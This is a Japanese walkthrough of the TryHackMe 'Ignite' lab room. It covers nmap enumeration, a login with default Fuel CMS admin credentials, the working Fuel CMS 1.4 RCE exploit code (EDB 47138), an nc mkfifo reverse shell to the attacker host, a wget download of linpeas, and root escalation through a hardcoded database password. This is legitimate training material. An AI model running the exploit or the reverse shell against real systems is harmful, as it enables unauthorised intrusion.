[TryHackMe] Ignite - Walkthrough -

本稿では、[TryHackMe](https://tryhackme.com/)にて提供されている「[Ignite](https://tryhackme.com/room/ignite)」ルームに関する攻略方法（Walkthrough）について検証します。
![Ignite.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/25f94b99-2780-dfce-0f36-73406affafe4.png)

# エグゼクティブサマリー
## ツール
- nmap
- searchsploit
- 47138.py
- Linpeas

# ネットワークサービススキャン
## nmap
IPアドレス`10.10.43.254`を`ignite.thm`として、`/etc/hosts`に追加します。その上で、nmapを使用し、ポートスキャンを実行します。

```
kali@kali:~$ nmap -Pn -T4 -A -vv ignite.thm
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-11 23:42 EST
Nmap scan report for ignite.thm (10.10.43.254)
Host is up, received user-set (0.29s latency).
Scanned at 2021-01-11 23:42:37 EST for 35s
Not shown: 999 closed ports
Reason: 999 conn-refused
PORT   STATE SERVICE REASON  VERSION
80/tcp open  http    syn-ack Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry 
|_/fuel/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Welcome to FUEL CMS

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 23:43
Completed NSE at 23:43, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 23:43
Completed NSE at 23:43, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 23:43
Completed NSE at 23:43, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.00 seconds
```

これで、標的にて稼働しているサービスが判明しました。特に気になるのは次の通りです。

|ポート番号|サービス|バージョン|
|:---|:---|:---|
|80/tcp|http|Apache httpd 2.4.18 ((Ubuntu)), Fuel CMS Version 1.4|

## HTTPサービスのスキャン
### robots.txt ファイル
`curl`コマンドを使って`80/tcp`にアクセスしてみます。`robots.txt`ファイルの有無を確認することが狙いです。

```
kali@kali:~$ curl http://ignite.thm/robots.txt
```

```robots.txt
User-agent: *
Disallow: /fuel/
```

### ブラウザ アクセス
`Firefox`ブラウザを使って`80/tcp`にアクセスしてみます。

![firefox.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/cbb31a1d-ab71-4176-69a0-44f9a13b99dc.png)

`nmap`、`Firefox`の結果から、Contents Management Systemとして、`Fuel CMS Version 1.4`が使用されていることが明らかです。
`robots.txt`の設定値からFuel CMSのログイン画面が特定できました。

```
http://ignite.thm/fuel/login/
```
![fuelcms.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/35757d78-377f-a737-ab3a-a918b635f525.png)

### 管理画面へのログイン試行
[FUEL Security](https://docs.getfuelcms.com/general/security)によれば、初期設定のパスワードは**admin**です。
ユーザー名、パスワードとして`admin:admin`を試してみます。ログインに成功しました。
![fuel_dashboard.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/6b672b08-569a-b9e1-4254-29ffbb659143.png)

# アクセス権の取得
`Fuel CMS Version 1.4`が抱えている脆弱性について、`searchsploit`コマンドを使って検索します。
[EDB-ID 47138](https://www.exploit-db.com/exploits/47138)が見つかりました。

```
kali@kali:~$ searchsploit fuelCMS
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                           |  Path
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
fuelCMS 1.4.1 - Remote Code Execution                                                                                    | linux/webapps/47138.py
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
```

`47138.py`コードを環境に応じて改変します。
`url =`パラメータは標的である`http://ignite.thm/`に変更します。
`proxy =`パラメータは不要なため、削除します。

```47138.py
import requests
import urllib

url = "http://ignite.thm/"
def find_nth_overlapping(haystack, needle, n):
    start = haystack.find(needle)
    while start >= 0 and n > 1:
        start = haystack.find(needle, start+1)
        n -= 1
    return start

while 1:
    xxxx = input('cmd:')
    url = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+urllib.parse.quote(xxxx>
    r = requests.get(url)

    html = "<!DOCTYPE html>"
    htmlcharset = r.text.find(html)

    begin = r.text[0:20]
    dup = find_nth_overlapping(r.text,begin,2)

    print(r.text[0:dup])
```

`47138.py`コードを実行し、`whoami`や`pwd`コマンドを使って動作確認を行います。

![whoami.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/0393bc38-a00e-40ab-76c5-6932f08e583c.png)

`47138.py`コードが期待通り動作した場合、低特権（`www-data`）のシェルを獲得することができます。

```
kali@kali:~$ python3 47138.py 
cmd:whoami
systemwww-data
.
.
.
cmd:pwd
system/var/www/html
```

# リバースシェル
リバースシェルを確立します。はじめに、攻撃端末(`kali`)側で`nc`コマンドを使って待ち受けます。

```kali.
kali@kali:~$ nc -lnvp 4444
listening on [any] 4444 ...
```

`ignite.thm`側にて、リバースシェルを立ち上げます。

```ignite.thm
cmd:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.19.198 4444 >/tmp/f
```

![r_shell.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/1c846088-9a53-31ce-c9e0-53fc2fbbcb1f.png)

## シェルのアップグレード
操作性を高めるため、シェルをアップグレードします。

```
$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@ubuntu:/var/www/html$
```

## システム探索
`/home/www-data`ディレクトリに`flag.txt`ファイルが確認できます。

```
www-data@ubuntu:/var/www/html$ cd /home
www-data@ubuntu:/home$ ls
ls
www-data
www-data@ubuntu:/home$ cd www-data
cd www-data
www-data@ubuntu:/home/www-data$ ls
ls
flag.txt
```

`flag.txt`フラグを取得します。

```
www-data@ubuntu:/home/www-data$ cat flag.txt
cat flag.txt
6470{BLOCKED}059b
```

# 特権昇格
「[Linpeas](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)」ツールを使ってシステム探索を行います。
攻撃端末(`kali`)側で`SimpleHTTPServer`を立ち上げ、ツールをダウンロードできるようにします。

```kali.
kali@kali:~/OffsecVM/bin/lin$ python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...
10.10.43.254 - - [12/Jan/2021 01:23:06] "GET /linpeas.sh HTTP/1.1" 200 -
```

`ignite.thm`側で`linpeas.sh`ツールをダウンロードします。

```ignite.thm
www-data@ubuntu:/tmp$ wget http://10.11.19.198:8080/linpeas.sh
wget http://10.11.19.198:8080/linpeas.sh
--2021-01-11 22:24:05--  http://10.11.19.198:8080/linpeas.sh
Connecting to 10.11.19.198:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 233665 (228K) [text/x-sh]
Saving to: 'linpeas.sh'

linpeas.sh          100%[===================>] 228.19K   210KB/s    in 1.1s    

2021-01-11 22:24:06 (210 KB/s) - 'linpeas.sh' saved [233665/233665]
```

`linpeas.sh`に実行権限を与え、実行します。

```
www-data@ubuntu:/tmp$ chmod +x linpeas.sh
chmod +x linpeas.sh
www-data@ubuntu:/tmp$ ./linpeas.sh
```

`linpeas.sh`の実行レポートにおける、`Finding 'pwd' or 'passw' variables (and interesting php db definitions) inside /home /var/www /var/backups /tmp /etc /root /mnt (limit 70)`項目に注目します。

![passw.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/5a7ac02c-07a9-775f-f4ff-1fb56b1692b9.png)

`/var/www/html/fuel/application/config/database.php`ファイルの内容を確認します。資格情報として`root:mememe`が設定されています。

![database.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/77ba550a-e5f2-5348-69c4-10779ae60fce.png)

`su`コマンドを使って、`root:mememe`による特権昇格の可能性について確認してみます。root権限への昇格に成功しました。

```
www-data@ubuntu:/home/www-data$ su 
su 
Password: mememe
```

`/root`ディレクトリに`root.txt`ファイルが確認できます。

```
root@ubuntu:/home/www-data# cd /root
cd /root
root@ubuntu:~# ls
ls
root.txt
```

`root.txt`フラグを取得します。

```
root@ubuntu:~# cat root.txt
cat root.txt
b9bb{BLOKED}482d
```

# まとめ
## 一般ユーザのアクセス権取得
- `robots.txt`の設定値から`Fuel CMS`のログイン画面を特定しました。
- 管理コンソールのアカウントが初期設定のまま（`admin/admin`）運用されていることを特定しました。
- `Fuel CMS`の脆弱性（[EDB-ID 47138](https://www.exploit-db.com/exploits/47138)）をつき、任意のコードを実行しました。

## 特権昇格
- `database.php`ファイルに資格情報（`root:mememe`）がハードコーディングされていることを特定しました。